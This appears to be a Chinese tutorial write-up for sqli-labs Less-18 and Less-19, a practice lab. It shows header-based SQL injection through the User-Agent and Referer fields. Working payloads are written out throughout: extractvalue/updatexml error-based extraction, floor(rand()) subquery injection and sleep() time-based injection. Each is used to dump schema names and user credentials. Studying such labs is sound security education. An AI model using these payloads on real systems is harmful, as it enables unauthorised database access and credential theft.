Sqli-labs之Less-18和Less-19
基于错误的用户代理,头部POST注入
(注:这一个模拟的场景是注册登录后的注入)
由题意可知,这又是一种新姿势,老方法,查找注入点,发现前面的方法都未成功。且错误回显与正确回显都显示IP:
这里写说几个常用请求头:(上一篇文章详细讲过)
Host
Host请求报头域主要用于指定被请求资源的Internet主机和端口号。
如:Host: localhost:8088
User-Agent
User-Agent请求报头域允许客户端将它的操作系统、浏览器和其他属性告诉服务器。登录一些网站时,很多时候都可以见到显示我们的浏览器、系统信息,这些都是此头的作用。
如:User-Agent: Mozilla/5.0
Referer
Referer包含一个URL,代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面。
如:Referer:
http://192.168.33.1/sqli/Less-18/
Cookie
Cookie是非常重要的请求头,它是一段文本,常用来表示请求者身份等。
如:Cookie: username=admin; password=admin
Range
Range可以请求实体的部分内容,多线程下载一定会用到此请求头。
如:表示头500字节:Range: bytes=0~499
表示第二个500字节:Range: bytes=500~999
表示最后500字节:Range: bytes=-500
表示500字节以后的范围:Range: bytes=500-
X-Forwarded-For
X-Forwarded-For即XXF头,它代表请求端的IP,可以有多个,中间以逗号隔开。
如:X-Forwarded-For: 8.8.8.8
Accept
Accept请求报头域用于指定客户端接收哪些MIME类型的信息。
如:Accept: text/html
Accept-Charset
Accept-Charset请求报头域用于指定客户端接收的字符集。如果在请求消息中没有设置这个域,默认是任何字符集都可以接收。
如:Accept-Charset: gb2312
在正确回显中看到user-agent 的回显,猜测注入点在user-agnet,可以直接测试,这里通过后台源码进行分析:
从源代码中我们可以看到POST的uname
和passwd
都做了check_input()
处理,在Less17已经分析了这个函数,所以表单不存在注入点。在登录成功后,Insert语句出错还会返回mysql的错误信息。
不论是否登录成功,都会回显IP
。
登陆成功后回显uagent
,并将uagent
、IP
、uname
插入到security
数据库的uagents
表的uagent
、ip_address
、username
三个字段中。
而且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent
部分。这跟现实中的注册登录再注入是比较贴合。所以注入点就在User-Agent
处,且是单引号型报错注入。
接下来,开始我们的注入:
我们已经得出注入语句为INSERT,
根据Less17中的介绍,这里有很多方法可以注入:
比如:
extractvalue()注入:
爆数据库:
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
这里的注入语句可以不使用注释符的原因在于:
我们在源码中看到:
uagent
是在IP
和uname
之前的,如果注释掉后面的语句,会直接导致Insert语句直接异常,达不到我们查询的目的。
这里我们还可以使用火狐浏览器的插件(HackBar)更加小巧方便,下面我都会使用该插件来解题:
爆表:
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '
爆列名:
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))) and '

爆数据:
' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and'
数据显示不全:(extractvalue最大爆32位)
' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) and '
可以通过 not in(),我们可以找到所有的用户名和密码:
Dumb:Dumb Angelinal:I-kill-you Dummy:[email protected] secure:crappy stupid:stupidiry superman:genious batman:mob!le admin:admin admin1:admin1 admin2:admin2 admin3:admin3 dhakkan:dumbo admin4:admin4
PS:为什么我显示的数据有一个0,那是因为我数据库是这个样子的:
同理updatexml()注入():
不用注释符,这样写:
' and updatexml(1,concat('#',(database())),0) and '
用注释符这样写:
注意:这里并不是URL而是HTTP头,所以+
并不会被转义为(空格)
,于是末尾的注释符号要变为#
。
因是Insert语句使用or和and一样的效果:
' or updatexml(1,concat('#',(database())),0),' ',' ')-- #
' and updatexml(1,concat('#',(database())),0),' ',' ')-- #
爆表:
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')#
爆字段
' and updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')-- #
爆数据:
' and updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'','')-- #
使用limit偏移注入依次爆出其他用户和密码。
我们还可以使用延时注入,子查询注入:(注:无法使用布尔盲注,因为无论错误还是正确都只会返回同样的页面)
子查询注入:(可参考Less-17)
' and (select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2))as a from information_schema.tables group by a) b) and '
延时注入:
(注:使用or才会延迟,为什么用and却不会延迟?使用and都是正确返回,难道是因为Insert语句跟or的关系?)
' or if(length(database())=8,1,sleep(5)) and '
PS:对于涉及到布尔盲注和延时注入的,强烈建议使用脚本,人工效率太慢,且还有误判的几率。
Less-19
基于头部的Referer POST报错注入
登录成功后发现回显的是Referer,由此可猜测是Referer注入
这一关和Less-18十分类似,只要修改下语句即可。
这里我们看下后台源代码:(只显示重要代码)
发现用的表也改了,只有referer
和IP 那么
知道了查询语句便可以注入:(方法略同Less-18这里只演示几个)
extractvalue()注入---暴库
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
updatexml()注入--暴表
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
子查询注入---暴字段
' and (select 1 from(select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x)a) and '
延时注入:
' or if(length(database())=8,1,sleep(5)) and '